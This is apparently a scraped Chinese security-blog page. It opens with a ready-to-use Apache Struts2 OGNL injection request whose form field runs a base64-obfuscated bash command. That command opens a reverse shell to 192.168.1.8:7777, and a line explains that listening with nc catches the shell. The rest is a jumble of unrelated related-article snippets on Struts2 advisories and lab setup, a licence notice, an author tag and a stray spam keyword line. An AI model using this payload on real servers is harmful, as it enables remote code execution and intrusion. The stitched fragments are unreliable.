    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    nc監聽端口即可得到反彈shell

    struts2ognl
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    漏洞的產生在于WebWork 2.1 和Struts 2的’altSyntax’配置允許OGNL 表達式被插入到文本字符串中并被遞歸處理。
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    本周末實踐的是開源漏洞靶場vulfocus,真是簡單易用,以下是實踐記錄, 搞個ubuntu18.04的虛擬機,安裝docker, sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 下載vulfocus容器鏡像,docker pu
    S2-009是S2-003與S2-005的補丁繞過,當時的補丁是增加了正則以及相關的限制,主要的防御還是正則。
    S2-007的漏洞原理是在處理類型轉換的錯誤時會存入錯誤到內存中,在后續調用流程中觸發OGNL表達式注入。
    經過奇安信CERT研判,此漏洞已公開的POC有效。
    2022年04月12日,Apache官方發布了Apache Struts2的風險通告,漏洞編號為CVE-2021-31805,漏洞等級:高危,漏洞評分:8.5。Apache Struts 2是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,
    近期,啟明星辰漏掃團隊在漏洞監控中發現Apache Struts2存在遠程代碼執行漏洞,Apache Struts2框架是一個用于開發Java EE網絡應用程序的Web框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类